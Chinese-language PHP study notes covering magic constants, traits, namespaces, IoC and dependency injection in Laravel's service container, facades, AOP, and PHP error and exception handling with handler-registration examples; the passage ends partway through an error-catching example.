【 魔术常量 】 __LINE__ 返回文件中的当前行号,如2 __FILE__ // string 'E:\wamp64\www\study\php\dir_file\scandir.php' 返回文件的完整路径和文件名,用在被包含文件中则返回被包含的文件名 __DIR__ // string 'E:\wamp64\www\study\php\dir_file' 返回文件所在目录,用在被包括文件中则返回被包括的文件所在的目录,等于dirname(__FILE__),除非是根目录,否则目录中名不包括末尾的斜杠 __FUNCTION__ 返回函数名 __CLASS__ 返回类名 __METHOD__ 返回方法名 __NAMESPACE__ 当前命名空间的名称(区)大小写)。此常量是在编译时定义的 __trait__ 返回trait的名字 PHP 实现了代码复用的一个方法,称为traits trait 名包括其被声明的作用区域(例) Foo\Bar) 从基类继承的成员被插入的 SayWorld trait 中的 MyHelloWorld 方法所覆盖。其行为 MyHelloWorld 类中定义的方法一致。优先顺序是当前类中的方法会覆盖 trait 方法,而 trait 方法又覆盖了基类中的方法
定义命名空间: namespace Test; echo '当前执行的代码行号为: '.__LINE__; echo '文件当前目录为: '.__DIR__;
trait
php一直都是单继承的语言,无法同时从两个基类中继承属性和方法,为此php出了trait特性 trait是一种代码复用技术,为PHP的单继承限制提供了一套灵活的代码复用机制,作用有两个: 表明类可以做什么、提供模块化实现 trait的使用场景: 当有一个方法需要在很多的类中使用时该怎么处理? 通常的处理方式是写一个实现这个方法的基础类,然后所有类都继承这个基类。 这不是最好的处理方式,通常采用继承的情况是: 几个类具有很大的相似性,比如人作为一个基类,学生、工人等继承"人"这个基类来扩展。 由此trait的作用就出来了,trait可以在多个类中使用。 用法: 通过在类中使用use关键字声明要组合的trait名称,具体的trait的声明使用trait关键词,trait不能实例化,trait中可使用$thistrait中方法或属性会覆盖基类中的同名方法或属性,而本类会覆盖trait中同名属性或方法
一个类可以组合多个trait,通过逗号相隔 use trait1,trait2; 当不同的trait中有着同名的方法或属性会产生冲突,可以使用insteadof或as进行解决,insteadof是进行替代,而as是给它取别名as可以修改方法的访问控制trait也可以互相组合,还可以使用抽象方法、静态属性、静态方法等
namespace 命名空间
PHP命名空间可以解决以下两类问题: 1、用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突,团队合作项目时避免与团队其它成员新建的类发生冲突;个人负责项目时避免前后新建的类发生冲突; 2、为很长的标识符名称(通常是为缓解第一类问题而定义的)创建一个别名或简称,提高源代码的可读性 定义命名空间 默认所有常量、类和函数名都放在全局空间下,就和PHP支持命名空间之前一样 命名空间通过关键字namespace来声明。如果一个文件中包含命名空间,它必须在其它所有代码之前声明命名空间在声明命名空间之前唯一合法的代码是用于定义源文件编码方式的declare语句。所有非PHP代码包括空白符都不能出现在命名空间的声明之前,html标签也不行
【 子命名空间 】 与目录和文件的关系很象,PHP命名空间也允许指定层次化的命名空间的名称。因此命名空间的名字可以使用分层次的方式定义:
【 全局命名空间 顶级命名空间 \ 】 如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样 在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此 没有定义命名空间,就理解为使用顶级命名空间。new类时,可以在类前加上反斜杠\,也可以不加
【 命名空间的使用 】 类比文件系统directory中访问一个文件有三种方式: 1、相对文件名形式如foo.txt会被解析为./foo.txt,若当前目录是/home/foo则被解析为/home/foo/foo.txt 2、相对路径名形式如subdir/foo.txt会被解析为./subdir/foo.txt 3、绝对路径名形式如/main/foo.txt会被解析为/main/foo.txt 命名空间声明后的代码便属于这个命名空间,即使有include或require也不影响 PHP命名空间中的类名可以通过三种方式引用: 一、非限定名称或不包含前缀的类名称,表示相对命名空间,表示当前命名空间内的 例如$a=new foo();或foo::staticmethod(); 如果当前命名空间是currentnamespace,foo 将被解析为 currentnamespace\foo 如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,则 foo 会被解析为foo 如果命名空间中的函数或常量未定义,则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称 二、限定名称或包含前缀的名称,表示相对于当前命名空间内的自命名空间内的 例如 $a = new subnamespace\foo(); 或 subnamespace\foo::staticmethod(); 如果当前的命名空间是 currentnamespace,则 foo 会被解析为 currentnamespace\subnamespace\foo 如果使用foo的代码是全局的,不包含在任何命名空间中的代码,foo 会被解析为subnamespace\foo 三、完全限定名称或包含了全局前缀操作符的名称,表示绝对命名空间 例如,$a = new \currentnamespace\foo(); 或 \currentnamespace\foo::staticmethod();
注意访问任意全局类、函数或常量都可以使用完全限定名称,例如 \strlen() 或 \Exception 或 \INI_ALL 在命名空间内部访问全局类、函数和常量:
【 namespace关键字和__NAMESPACE__常量 】 PHP支持两种抽象的访问当前命名空间内部元素的方法,__NAMESPACE__魔术常量和namespace关键字 常量__NAMESPACE__的值是包含当前命名空间名称的字符串。在全局的不包括在任何命名空间中的代码,它包含一个空的字符串常量 __NAMESPACE__ 在动态创建名称时很有用
关键字namespace可用来显式访问当前命名空间或子命名空间中的元素,它等价于类中的self操作符namespace操作符,命名空间中的代码namespace操作符,全局代码
【 使用命名空间: 别名/导入 use操作符】 PHP命名空间支持有两种使用别名或导入方式: 为类名称使用别名,或为命名空间名称使用别名 在PHP中别名是通过操作符use来实现的 使用use的目的: 在命名空间字符串过长时,使用use可以相应的缩短命名空间 use后没有as时,缩短的命名空间默认为最后一个反斜杠后的内容use的几种用法1、使用use操作符导入/使用别名2、 一行中包含多个use语句3、导入和动态名称 导入操作是在编译执行的,但动态的类名称、函数名称或常量名称则不是。4、导入和完全限定名称
从PHP7开始可以单一地使用use语句从相同的命名空间导入类、函数和常量,而不是使用多个use语句。
但还是要写出每个类、函数或const的名称,并没有像python一样的from some import *的方法
如果使用的是基于composer和PSR-4的框架,这种写法能成功的加载类文件,composer注册的自动加载方法是在类被调用的时候根据类的命名空间去查找位置,这种写法对其没有影响。
// Before PHP 7
use com\tutorialspoint\ClassA;
use com\tutorialspoint\ClassB;
use com\tutorialspoint\ClassC as C;
use function com\tutorialspoint\fn_a;
use function com\tutorialspoint\fn_b;
use function com\tutorialspoint\fn_c;
use const com\tutorialspoint\ConstA;
use const com\tutorialspoint\ConstB;
use const com\tutorialspoint\ConstC;
// PHP 7+ code
use com\tutorialspoint\{ClassA, ClassB, ClassC as C};
use function com\tutorialspoint\{fn_a, fn_b, fn_c};
use const com\tutorialspoint\{ConstA, ConstB, ConstC};
php7命名空间成员的批量导入
use App\Course\{
Common\Lesson,
Base\Teacher
};
new Lesson();
new Teacher();
【 命名空间的顺序 】
PHP解耦的三重境界(服务容器)
在软件项目开发的过程中有时需要多人合作,有时也可以自己独立完成,随着代码量上升写着写着就失控了,丑陋接口,肮脏实现,项目维护成本和难度上升,只有重构或重新开发来降低耦合度 第一重境界 假设场景: 需要写一个能够同时操作会话,数据库和文件系统的处理类 境界特征: 可以运行,但严重耦合 写法缺点: 1.在公有函数中构造对象,一旦涉及到如数据库参数的变动,修改会有很大的工作量 2.负责设计Writer类的人员需要对DB等类的各种API要熟悉
第二重境界(参数依赖) 假设场景: 数据库地址因为客户不同需要经常更换,调用到DB的类很多,希望即使更改了数据库地址,也不用去修改这些类的代码。 虽然把DB类的构造移到了客户端,一旦涉及修改工作量大大降低,但是新问题来了: 为了创建一个Writer类需要先创建好DB类FileSystem类等,这对负责涉及Writer类的人来说要求是很高的,他需要看很多其他类文档,一个个创建,可能还需要初始化,然后才能创建出writer变量。
第三重境界(IOC容器、服务容器) 经过前两重境界,希望能新增以下这些好处: 1.希望DB类,Session类,FileSystem类拿来即用,不用每次繁琐的初始化,比如写$db=new DB(arg1,arg2);这类语句。 2.希望DB等类型的对象是全局,在整个程序运行期间随时可以调用。 3.调用DB等类型的程序员不用知道这个类太多的细节,甚至可以用一个字符串的别名来创建这样一个对象。 能够实现以上目标的就是IOC容器,可以把IOC容器简单的看成一个全局变量,并用关联数组把字符串和构造函数做绑定。 对象与字符串的对应,也就是用一个字符串就可以创造一个类的对象。这种做法主要用在两种情况下是很方便的: 1.类名不稳定,在项目中频繁修改 很多时候类名修改并不是设计者的"命名洁癖"或"命名强迫症"导致的修改,而是在项目的不断迭代时发觉这个类设计的不合理。如果这个类用的不频繁,那么改个类名只要手工做一些小的修改即可,但如果这个类通篇存在于代码之中(如数据库类),那修改工作量就大了,当然也可以对代码文件使用"字符串替换",但假如一个PHP写成的项目,PHP文件有几十上百个,这也是不合理的事。 2.类的设计者并不是类的使用者 类的设计者和类的使用者不是同一个开发人员,那么记忆一个字符串或许比记忆一个类名要生动的多。计算机网络原理中记忆一个域名要比记忆一个IP地址要生动的多,这就是DNS解决的问题。 希望整个工程项目中DB类、Session类、FileSystem类拿来即用,不用每次繁琐的初始化,比如写$db=new DB(arg1,arg2);这类语句,也希望DB等类型的对象像一个"全局"变量一般,在整个程序运行期间随时可以调用。 服务容器可以让调用DB等类型的程序员不用知道这个类太多的细节,甚至可以用一个字符串的别名来创建这样一个对象。
IOC控制反转和DI依赖注入
控制反转(Inversion of Control,IOC): 面向对象编程中的一种设计原则、思想,可以用来减低计算机代码之间的耦合度。 依赖注入(Dependency Injection,DI): IOC的一种实现,在类A的实例创建过程中即创建了依赖的B对象,通过类型或名称来判断将不同的对象注入到不同的属性中。 依赖查找(Dependency Lookup,DL): IOC的另一种实现,在需要的时候通过调用框架提供的方法来获取对象,获取时需要提供相关的配置文件路径、key等信息来确定获取对象 依赖注入与依赖查找是控制反转的2种实现方式,后者很少见 因为大多数应用程序都是由两个或更多的类通过彼此的合作来实现业务逻辑,这使得每个对象都需要获取与其合作的对象也就是它所依赖的对象的引用。如果这个获取过程要靠自身实现,那么这将导致代码高度耦合并且难以维护和调试。 ClassA中用到了ClassB的对象b,一般情况下需要在A的代码中显式的new一个B的对象,这就导致如果A想将B替换为一个更优的实现版本B+时,需要修改A代码显式的new一个B+对象。DI就是将A类的依赖对象的实例通过A类方法参数的形式注入A类实例
【 依赖注入 container(容器)和instance(实例) 】 当依赖的类增多时会比较复杂,这时如果有一个专门的类或者说一个容器可以管理这些依赖关系就好了反射实现容器
【 lavarel容器 IoC(控制反转) 和 DI(依赖注入) 】 容器,字面上理解就是装东西的东西。常见的变量、对象属性等都可以算是容器。一个容器能够装什么取决于对该容器的定义。有这样一种容器,它存放的不是文本、数值,而是对象、对象的描述(类、接口)或是提供对象的回调,通过这种容器得以实现许多高级的功能,其中最常提到的就是解耦、依赖注入(DI) IoC容器, laravel的核心 Laravel的核心就是一个IoC容器即"服务容器",该容器提供了整个框架中需要的一系列服务。从一些基础的内容开始讲解,通过理解面向对象开发中依赖的产生和解决方法来逐渐揭开依赖注入"的面纱,逐渐理解这一神奇的设计理念。 依赖的产生 面向对象编程中接口、类还有对象,接口是类的原型,一个类必须要遵守其实现的接口;对象则是一个类实例化后的产物,称其为一个实例 一个超人诞生的时候肯定拥有至少一个超能力,这个超能力也可以抽象为一个对象,为这个对象定义一个描述他的类。一个超能力肯定有多种属性、(操作)方法
这样的话,当创建一个 "超人" 实例的时候,同时也创建了一个超能力的实例,但超人和超能力之间不可避免的产生了一个依赖。 在一个贯彻面向对象编程的项目中,这样的依赖随处可见。少量的依赖并不会有太过直观的影响,当依赖达到一个量级时是一番噩梦般的体验 一堆乱麻 —— 可怕的依赖 之前的例子中,超能力类实例化后是一个具体的超能力,但超人的超能力是多元化的,每种超能力的方法、属性都有不小的差异,没法通过一种类描述完全。现在假设超人可以有以下多种超能力:
需要自己手动的在构造函数内或其他方法里实例化一系列需要的类,假如需求变更,需要更多的有针对性的新的超能力,或者需要变更超能力的方法,必须重新改造超人。改变超能力的同时还得重新制造个超人,效率太低了,新超人还没创造完成世界早已被毁灭。 超人的能力可以被随时更换,只需要添加或更新一个芯片或者其他装置,这样的话就不要整个重新来过了。 不应该手动在超人类中固化了他的超能力初始化的行为,而转由外部负责,由外部创造超能力模组、装置或芯片等模组,植入超人体内的某一个接口,这个接口是一个既定的,只要这个模组满足这个接口的装置都可以被超人所利用,可以提升、增加超人的某一种能力。这种由外部负责其依赖需求的行为可以称其为 "控制反转(IoC)"。 工厂模式,依赖转移 组件、工具或者超人的模组是一种可被生产的玩意儿,生产的地方当然是工厂(Factory),于是有人就提出了这样一种模式: 工厂模式。 工厂模式就是一个类所以依赖的外部事物的实例都可以被一个或多个工厂创建的这样一种开发模式 为了给超人制造超能力模组,创建了一个工厂,它可以制造各种各样的模组,且仅需要通过一个方法:
修改的结果令人满意,现在超人的创建不再依赖任何一个超能力的类,如若修改了或增加了新的超能力,只需要针对修改SuperModuleFactory即可。扩充超能力的同时不再需要重新编辑超人的类文件 再进一步,IoC容器的重要组成 —— 依赖注入 由超人对超能力的依赖变成超人对超能力模组工厂的依赖后,对付小怪兽们变得更加得心应手。但依赖并未解除,只是由原来对多个外部的依赖变成了对一个工厂的依赖。假如工厂出了点麻烦,问题变得就很棘手。 其实大多数情况下,工厂模式已经足够了。工厂模式的缺点就是: 接口未知(即没有一个很好的契约模型)、产生对象类型单一,总之就是还是不够灵活。虽然如此,工厂模式依旧十分优秀,并且适用于绝大多数情况。不过为了讲解后面的 依赖注入 ,这里就先夸大一下工厂模式的缺陷咯。 超人依赖的模组,要求有统一的接口,这样才能和超人身上的注入接口对接,最终起到提升超能力的效果。 事实上,不仅仅只有一堆小怪兽,还有更多的大怪兽,这时候似乎工厂的生产能力显得有些不足 —— 由于工厂模式下,所有的模组都已经在工厂类中安排好了,如果有新的、高级的模组加入,必须修改工厂类
其实灵感就差一步,可能会想到更为灵活的办法,下一步就是DI (依赖注入) 由于对超能力模组的需求不断增大,需要集合整个世界的高智商人才一起解决问题,不应该仅仅只有几个工厂垄断负责。不过高智商人才们都非常自负,认为自己的想法是对的,创造出的超能力模组没有统一的接口,自然而然无法被正常使用。这时需要提出一种契约,这样无论是谁创造出的模组都符合这样的接口,自然就可被正常使用。
现在当初始化超人类的时候,提供的模组实例必须是一个SuperModuleInterface接口的实现,否则就会提示错误。 正是由于超人的创造变得容易,一个超人也就不需要太多的超能力,可以创造多个超人,并分别注入需要的超能力模组即可。这样的话,虽然一个超人只有一个超能力,但超人更容易变多 前面提到的一系列依赖,只要不是由内部生产(比如初始化、构造函数 __construct中通过工厂方法、自行手动new的),而是由外部以参数或其他形式注入的,都属于依赖注入(DI) 更为先进的工厂 —— IoC容器! $superModule = new XPower; $superMan = new Superman($superModule); 手动的创建了一个超能力模组、手动的创建超人并注入了刚刚创建超能力模组,现代社会应该是高效率的生产,干净的车间,完美的自动化装配。 一群怪兽来了,如此低效率产出超人是不现实,需要自动化 —— 最多一条指令,千军万马来相见。需要一种高级的生产车间,只需要向生产车间提交一个脚本,工厂便能够通过指令自动化生产。这种更为高级的工厂就是工厂模式的升华 —— IoC容器
通过最初的绑定(bind)操作向超级工厂注册了一些生产脚本,这些生产脚本在生产指令下达之时便会执行。彻底的解除了超人与超能力模组的依赖关系,更重要的是容器类也丝毫没有和他们产生任何依赖!通过注册、绑定的方式向容器中添加一段可以被执行的回调(可以是匿名函数、非匿名函数、类的方法)作为生产一个类的实例的脚本 ,只有在真正的生产(make)操作被调用执行时才会触发。
这样一种方式使得更容易在创建一个实例的同时解决其依赖关系,并且更加灵活。当有新的需求,只需另外绑定一个生产脚本即可。
实际上真正的IoC容器更为高级。现在的例子中还是需要手动提供超人所需要的模组参数,但真正的IoC容器会根据类的依赖需求,自动在注册、绑定的一堆实例中搜寻符合的依赖需求,并自动注入到构造函数参数中去。Laravel框架的服务容器正是这么做的,这种自动搜寻依赖需求的功能,是通过反射(Reflection) 实现的,恰好php完美的支持反射机制
laravel的核心就是一个高级的IoC容器,laravel的核心本身十分轻量,并没有什么很神奇很实质性的应用功能。很多人用到的各种功能模块比如Route(路由)、Eloquent ORM(数据库ORM组件)、Request and Response(请求和响应)等,实际上都是与核心无关的类模块提供的,这些类从注册到实例化,最终被你所使用,其实都是laravel的服务容器负责的。
以最常见的Route类作为例子,经常见到路由定义是这样的:
Route::get('/', function() { });
实际上Route类被定义在这个命名空间: Illuminate\Routing\Router,文件vendor/laravel/framework/src/Illuminate/Routing/Router.php。
通过打开发现,这个类的这一系列方法,如get,post,any等都不是静态(static)方法
服务提供者
IoC容器一个类需要绑定、注册至容器中才能被制造,一个类要被容器所能够提取,必须要先注册至这个容器。既然laravel称这个容器叫做服务容器,那么需要某个服务就得先注册、绑定这个服务到容器,那么提供服务并绑定服务至容器的东西就是服务提供者(ServiceProvider)
虽然绑定一个类到容器不一定非要通过服务提供者(ServiceProvider)
但有时类、模块会有需要其他类和组件的情况,为了保证初始化阶段不会出现所需要的模块和组件没有注册的情况,laravel将注册和初始化行为进行拆分,注册的时候就只能注册,初始化的时候就是初始化。拆分后的产物就是现在的服务提供者。
服务提供者主要分为两个部分,register(注册)和boot(引导、初始化),register负责进行向容器注册脚本,但要注意注册部分不要有对未知事物的依赖,如果有就要移步至boot部分。
Facade
现在解答之前关于Route的方法为何能以静态方法访问的问题。实际上这个问题文档上有写,简单说来就是模拟一个类,提供一个静态魔术方法__callStatic,并将该静态方法映射到真正的方法上。
使用的Route类实际上是Illuminate\Support\Facades\Route通过class_alias()函数创造的别名而已,这个类被定义在文件vendor/laravel/framework/src/Illuminate/Support/Facades/Route.php,这个文件只有这么简单的一段代码
namespace Illuminate\Support\Facades;
class Route extends Facade {
// Get the registered name of the component.
protected static function getFacadeAccessor() {
return 'router';
}
}
getFacadeAccessor方法返回了一个route,事实上这个值被一个ServiceProvider注册过,注册了那个真正的路由类
Laravel最大的特点和优秀之处就是使用了很多php比较新(实际上并不新)的概念和技术(也就一堆语法糖)而已。因此laravel的确符合一个适宜学习的框架。Laravel的构思的确和其他框架有很大不同,这也要求学习他的人必须熟练php,并基础扎实!如果觉得学laravel框架十分困难,那么原因只有一个: php基础不好。
AOP: Aspect Oriented Programming(面向切面编程)
切面(Aspect)通常指类的一个实例方法,也就是说其实只要在类的一个实例方法执行前或后面挂载前置或后置方法,有点像钩子,其实目的都是一样的,都是为了切分和扩展相应方法的功能,而不需要在原始方法里面改动。 AOP大概意思指:在程序需要扩展时不该动原本的代码,如thinkphp中的钩子行为标签模拟数据库的建立连接前后的动作
面向对象关注于每个对象定义的完整性 切面是关注于整个对象系统的某个/某些特定功能面,比如日志、过滤等,把这些特定功能面剥离出来达到共用的目的
使用MVC框架如CI、YII、cakePHP原因之一就是:能够使代码便于维护,但当业务逻辑不断复杂时,在控制器中调用模型中的方法会越来越臃肿。 面向切面编程的思路,是解决不断变化的业务逻辑与写出便于维护代码的解决方法之一。下面是向切面式组件源码,是根据AOP的思路设计的
异常捕获和处理
错误处理和日志记录
or die() or exit() PHP底层的代码可以分为两大类。 一类是早期面向过程范式的函数,例如:strpos()、json_decode()、curl_exec()、file_get_contents()等函数。 另一类是后期面向对象范式的类与对象,例如:PDO、Memcached、SoapClient等。 前者失败时,例如字符串查找不到、JSON解码失败、URL抓取超时或者文件不存在时,所调用的函数会返回布尔值FALSE表示失败 后者,即若使用的是封装的类,并通过类实例化的对象来操作时,当发生失败或异常情况时则会直接抛出异常,例如数据库连接失败、SOAP调用失败。 这可以说是PHP语言的惯例,当调用函数并失败时返回FALSE,这里需要做好全等判断,避免与正常情况下的数字0、"" (空字符串)或"0" (作为字符串的0)混淆,如文件内容的读取,若文件存在但读取的内容为空字符串,与文件不存在读取到的结果为FALSE,这两者之间是有着微妙的区别的 foo()和@foo()之间区别: @代表所有warning忽略 用@掩盖错误会降低脚本运行速度,并且在后台有很多额外操作。用@比起不用,效率差距3倍,特别不要在循环中使用@,在5次循环的测试中,即使是先用error_reporting(0)关掉错误,在循环完成后再打开,都比用@快。 PHP中的错误 属于php脚本自身的问题,大部分情况是由错误的语法、服务器环境导致,使得编译器无法通过检查甚至无法运行的情况。warning、notice都是错误,只是级别不同而已,并且错误是不能被try-catch捕获的 Fatal Error:致命错误,脚本终止运行 E_ERROR 致命的运行错误,错误无法恢复,暂停执行脚本 E_CORE_ERROR PHP启动时初始化过程中的致命错误 E_COMPILE_ERROR 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR E_USER_ERROR 自定义错误消息。像用PHP函数trigger_error(错误类型设置为E_USER_ERROR) Parse Error: 编译时解析错误,语法错误,脚本终止运行 E_PARSE 编译时的语法解析错误 Warning Error: 警告错误(仅出提示信息,脚本不终止运行) E_WARNING 运行时警告(非致命错误) E_CORE_WARNING PHP初始化启动过程中发生的警告(非致命错误) E_COMPILE_WARNING 编译警告 E_USER_WARNING 用户产生的警告信息 Notice Error: 通知错误(仅出通知信息,脚本不终止运行) E_NOTICE 运行时通知。表示脚本遇到可能会表现为错误的情况 E_USER_NOTICE 用户产生的通知信息 预定义常量 1 E_ERROR (integer) 致命的运行时错误,错误不可恢复,例如内存分配导致的问题。后果是导致脚本终止不再继续运行 2 E_WARNING (integer) 运行时警告(非致命错误)。仅给出提示信息,但脚本不会终止运行 4 E_PARSE (integer) 编译时语法解析错误。解析错误仅由分析器产生 8 E_NOTICE (integer) 运行时通知。表示脚本遇到可能会表现为错误的情况,但在可以正常运行的脚本里面也可能会有类似的通知 16 E_CORE_ERROR (integer) 在PHP初始化启动过程中发生的致命错误。该错误类似E_ERROR,但由PHP引擎核心产生的 32 E_CORE_WARNING (integer) PHP初始化启动过程中发生的警告(非致命错误)。类似E_WARNING,但由PHP引擎核心产生的 64 E_COMPILE_ERROR (integer) 致命编译时错误。类似E_ERROR,但由Zend脚本引擎产生的 128 E_COMPILE_WARNING (integer) 编译时警告 (非致命错误)。类似 E_WARNING,但由Zend脚本引擎产生的 256 E_USER_ERROR (integer) 用户产生的错误信息。类似E_ERROR,但由用户自己在代码中使用PHP函数trigger_error()来产生的 512 E_USER_WARNING (integer) 用户产生的警告信息。类似E_WARNING,但由用户自己在代码中使用PHP函数trigger_error()来产生的 1024 E_USER_NOTICE (integer) 用户产生的通知信息。类似E_NOTICE,但由用户自己在代码中使用PHP trigger_error()来产生的 2048 E_STRICT (integer) 启用PHP对代码的修改建议,以确保代码具有最佳的互操作性和向前兼容性 4096 E_RECOVERABLE_ERROR (integer) 可被捕捉的致命错误,表示发生了一个可能非常危险的错误,但是还没有导致PHP引擎处于不稳定的状态,如果该错误没有被用户自定义句柄捕获set_error_handler(),将成为一个E_ERROR从而脚本会终止运行 8192 E_DEPRECATED (integer) 运行时通知。启用后将会对在未来版本中可能无法正常工作的代码给出警告 16384 E_USER_DEPRECATED (integer) 用户产少的警告信息 类似E_DEPRECATED,但由用户自己在代码中使用PHP函数trigger_error()来产生的 30719 E_ALL (integer) E_STRICT外的所有错误和警告信息 由此可知有5类是产生ERROR级别的错误,直接导致PHP程序退出 ERROR = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_PARSE
PHP7异常处理机制 Exception, Error, Throwable
PHP中什么是异常:
程序在运行中出现不符合预期的情况,允许发生(你也不想让他出现不正常的情况)但他是一种不正常的情况,按照正常逻辑本不该出的错误,但仍然会出现的错误,属于逻辑和业务流程的错误,而不是编译或者语法上的错误。
PHP中什么是错误:
属于php脚本自身的问题,大部分情况是由错误的语法,服务器环境导致,使得编译器无法通过检查,甚至无法运行的情况。warning、notice都是错误,只是他们的级别不同而已,并且错误是不能被try-catch捕获的。
上面的说法是有前提条件的:
在PHP中,因为在其他语言中就不能这样下结论了,也就是说异常和错误在不同的语言有不同的说法。在PHP中任何自身的错误或非正常的代码都会当做错误对待,并不会以异常的形式抛出,但也有一些情况会当做异常和错误同时抛出,也就是说想在数据库连接失败的时候自动捕获异常是行不通的,因为这就不是异常,是错误。但java就不一样了,他会把很多和预期不一致的行为当做异常来进行捕获。
PHP异常处理很鸡肋?
在上面的分析中可以看出,PHP并不能主动的抛出异常,但可以手动抛出异常,这就很无语了,如果知道哪里会出问题,添加if else解决不就行了吗,为啥还要手动抛出异常,既然能手动抛出就证明这个不是异常,而是意料之中。所以PHP的异常机制不是那么的完美,但是使用过框架的同学都知道有这个情况: 在框架中直接写开头那段php"自动"捕获异常的代码是可以的,这是为什么?源码框架中都会涉及三个函数: register_shutdown_function,set_error_handler,set_exception_handler,通过这几个函数可以实现PHP假自动捕获异常和错误。
$num = 0;
try {
echo 1/$num;
} catch (Exception $e){
echo $e->getMessage();
}
【 ERROR的级别 】
Fatal Error:致命错误(脚本终止运行)
E_ERROR // 致命的运行错误,错误无法恢复,暂停执行脚本
E_CORE_ERROR // PHP启动时初始化过程中的致命错误
E_COMPILE_ERROR // 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR
E_USER_ERROR // 自定义错误消息。像用PHP函数trigger_error(错误类型设置为: E_USER_ERROR)
Parse Error: 编译时解析错误,语法错误(脚本终止运行)
E_PARSE //编译时的语法解析错误
Warning Error: 警告错误(仅给出提示信息,脚本不终止运行)
E_WARNING // 运行时警告 (非致命错误)。
E_CORE_WARNING // PHP初始化启动过程中发生的警告 (非致命错误) 。
E_COMPILE_WARNING // 编译警告
E_USER_WARNING // 用户产生的警告信息
Notice Error: 通知错误(仅给出通知信息,脚本不终止运行)
E_NOTICE // 运行时通知。表示脚本遇到可能会表现为错误的情况.
E_USER_NOTICE // 用户产生的通知信息。
由此可知有5类是产生ERROR级别的错误,这种错误直接导致PHP程序退出。
可以定义成:
ERROR = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_PARSE
【 PHP异常处理中的黑科技 】
框架中可以捕获所有的错误和异常是使用了三个重要的函数:
1: set_error_handler()
有多种调用的方法:
set_error_handler('function_name'); // 直接传函数名 NonClassFunction
set_error_handler(array('class_name', 'function_name')); // 传 class_name && function_name
set_error_handler('zyferror');
function zyferror($type, $message, $file, $line){
var_dump('< b>set_error_handler: ' . $type . ':' . $message . ' in ' . $file . ' on ' . $line . ' line .< /b>< br />');
}
当程序出现错误的时候自动调用此方法,注意两点:
第一,如果存在该方法相应的error_reporting()就不能在使用了,所有的错误都会交给自定义的函数处理。
第二,此方法不能处理以下级别的错误: E_ERROR、 E_PARSE、 E_CORE_ERROR、 E_CORE_WARNING、 E_COMPILE_ERROR、 E_COMPILE_WARNING,set_error_handler()函数所在文件中产生的E_STRICT,该函数只能捕获系统产生的一些Warning、Notice级别的错误。
2: register_shutdown_function()
捕获PHP的错误: Fatal Error、Parse Error等,这个方法是PHP脚本执行结束前最后一个调用的函数,比如脚本错误、die()、exit、异常、正常结束都会调用,通过这个函数就可以在脚本结束前判断这次执行是否有错误产生,这时就要借助于error_get_last()函数拿到本次执行产生的所有错误。
error_get_last();返回的信息:
[type] - 错误类型
[message] - 错误消息
[file] - 发生错误所在的文件
[line] - 发生错误所在的行
register_shutdown_function('zyfshutdownfunc');
function zyfshutdownfunc(){
if ($error = error_get_last()) {
var_dump('< b>register_shutdown_function: Type:' . $error['type'] . ' Msg: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'] . '< /b>');
}
}
通过这种方法就可以巧妙的打印出程序结束前所有的错误信息。但并不是所有的错误终止后都会调用这个函数,可以看下面的一个测试文件
register_shutdown_function('zyfshutdownfunc');
function zyfshutdownfunc(){
if ($error = error_get_last()) {
var_dump('< b>register_shutdown_function: Type:' . $error['type'] . ' Msg: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'] . '< /b>');
}
}
var_dump(23+-+); //此处语法错误
可以看到根本就不会触发zyfshutdownfunc()函数,其实这是一个语法错误,直接报了一个:
Parse error: syntax error, unexpected ')' in /www/mytest/exception/try-catch.php on line 71
由此引出一个奇葩的问题: 什么不能触发,为什么框架中是可以的?
其实原因很简单,只在parse-time出错时是不会调用本函数的,只有在run-time出错时才会调用本函数
语法检查器前没有执行register_shutdown_function()去把需要注册的函数放到调用的堆栈中,所以就根本不会运行。那框架中为什么任何错误都能进入到register_shutdown_function()中呢,其实在框架中一般会有统一的入口index.php,然后每个类库文件都会通过include方式加载到index.php中,相当与所有的程序都会在index.php中聚集,具有语法错误的文件也会被引入到入口文件中,这样的话调用框架执行index.php,index.php本身并没有语法错误,也就不会产生parse-time错误,而是include文件出错了,是run-time的时候出错了,所以框架执行完之后就会触发register_shutdown_function();
所以现在可是试一下这个写法,这样就会触发zyfshutdownfunc()回调了:
a.php文件
// 模拟语法错误
var_dump(23+-+);
b.php文件
register_shutdown_function('zyfshutdownfunc');
function zyfshutdownfunc(){
if ($error = error_get_last()) {
var_dump('< b>register_shutdown_function: Type:' . $error['type'] . ' Msg: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'] . '< /b>');
}
}
require 'a.php';
3: set_exception_handler()
设置默认的异常处理程序,用在没有用try/catch块来捕获的异常,也就是说不管抛出的异常有没有人捕获,如果没有人捕获就会进入到该方法中,并且在回调函数调用后异常会中止
set_exception_handler('zyfexception');
function zyfexception($exception){
var_dump("< b>set_exception_handler: Exception: " . $exception->getMessage() . '< /b>');
}
throw new Exception("zyf exception");
【 巧妙的捕获错误和异常 】
1: 把错误以异常的形式抛出(不能完全抛出)
php中的错误是不能以异常的形式捕获的,但需要让他们抛出,已达到扩展try-catch的影响范围,set_error_handler()是捕获错误的,所以可以借助捕获错误,然后再以异常的形式抛出
set_error_handler('zyferror');
function zyferror($type, $message, $file, $line){
throw new \Exception($message . 'zyf错误当做异常');
}
$num = 0;
try {
echo 1/$num;
} catch (Exception $e){
echo $e->getMessage(); // Division by zero zyf123
}
流程: 本来是除0错误,然后触发set_error_handler(),在set_error_handler()中相当与杀了个回马枪,再把错误信息以异常的形式抛出来,这样就可以实现错误以异常的形式抛出。这样做是有缺点的,会受到set_error_handler()函数捕获级别的限制。
2: 捕获所有的错误
set_error_handler()能够捕获一部分错误,不能捕获系统级E_ERROR、E_PARSE等错误,但这部分可以由register_shutdown_function()捕获,所以两者结合能出现很好的功能。
a.php内容:
// 模拟Fatal error错误
//test();
// 模拟用户产生ERROR错误
//trigger_error('zyf-error', E_USER_ERROR);
